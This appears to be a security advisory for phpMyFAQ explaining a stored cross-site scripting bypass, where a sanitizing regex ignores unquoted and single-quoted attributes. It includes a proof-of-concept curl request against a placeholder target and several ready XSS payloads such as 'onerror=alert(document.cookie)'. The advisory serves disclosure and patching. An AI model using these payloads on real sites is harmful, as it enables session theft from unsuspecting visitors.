Server side cross-site scripting In phpmyfaq/phpmyfaq
Description
phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()
Summary
The sanitization pipeline for FAQ content is:
Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS) — encodes <, >, ", ', & to HTML entities
html_entity_decode($input, ENT_QUOTES | ENT_HTML5) — decodes entities back to characters
Filter::removeAttributes($input) — removes dangerous HTML attributes
The removeAttributes() regex at line 174 only matches attributes with double-quoted values:
preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);
This regex does NOT match:
Attributes with single quotes: onerror='alert(1)'
Attributes without quotes: onerror=alert(1)
An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.
Details
Affected File: phpmyfaq/src/phpMyFAQ/Filter.php, line 174
Sanitization flow for FAQ question field:
FaqController::create() lines 110, 145-149:
$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS); // ... ->setQuestion(Filter::removeAttributes(html_entity_decode( (string) $question, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8', )))
Template rendering: faq.twig line 36:
<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>
How the bypass works:
Attacker submits: <img src=x onerror=alert(1)>
After FILTER_SANITIZE_SPECIAL_CHARS: <img src=x onerror=alert(1)>
After html_entity_decode(): <img src=x onerror=alert(1)>
preg_match_all('/[a-z]+=".+"/iU', ...) runs:
The regex requires ="..." (double quotes)
onerror=alert(1) has NO quotes → NOT matched
src=x has NO quotes → NOT matched
No attributes are found for removal
Output: <img src=x onerror=alert(1)> (XSS payload intact)
Template renders with |raw: JavaScript executes in browser
Why double-quoted attributes are (partially) protected:
For <img src="x" onerror="alert(1)">:
The regex matches both src="x" and onerror="alert(1)"
src is in $keep → preserved
onerror is NOT in $keep → removed via str_replace()
Output: <img src="x"> (safe)
But this protection breaks with single quotes or no quotes.
PoC
Step 1: Create FAQ with XSS payload (requires authenticated admin):
curl -X POST 'https://target.example.com/admin/api/faq/create' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=admin_session' \ -d '{ "data": { "pmf-csrf-token": "valid_csrf_token", "question": "<img src=x onerror=alert(document.cookie)>", "answer": "Test answer",...
Step 2: XSS triggers on public FAQ page
Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:
https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html
The FAQ title is rendered with |raw in faq.twig line 36 without HtmlSanitizer processing (the processQuestion() method in FaqDisplayService only applies search highlighting, not cleanUpContent()).
Alternative payloads:
<img/src=x onerror=alert(1)> <svg onload=alert(1)> <details open ontoggle=alert(1)>
Impact
Public XSS: The XSS executes for ALL users viewing the FAQ page, not just admins.
Session hijacking: Steal session cookies of all users viewing the FAQ.
Phishing: Display fake login forms to steal credentials.
Worm propagation: Self-replicating XSS that creates new FAQs with the same payload.
Malware distribution: Redirect users to malicious sites.
Note: While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
packagist | 4.1.1 |
Aliases
References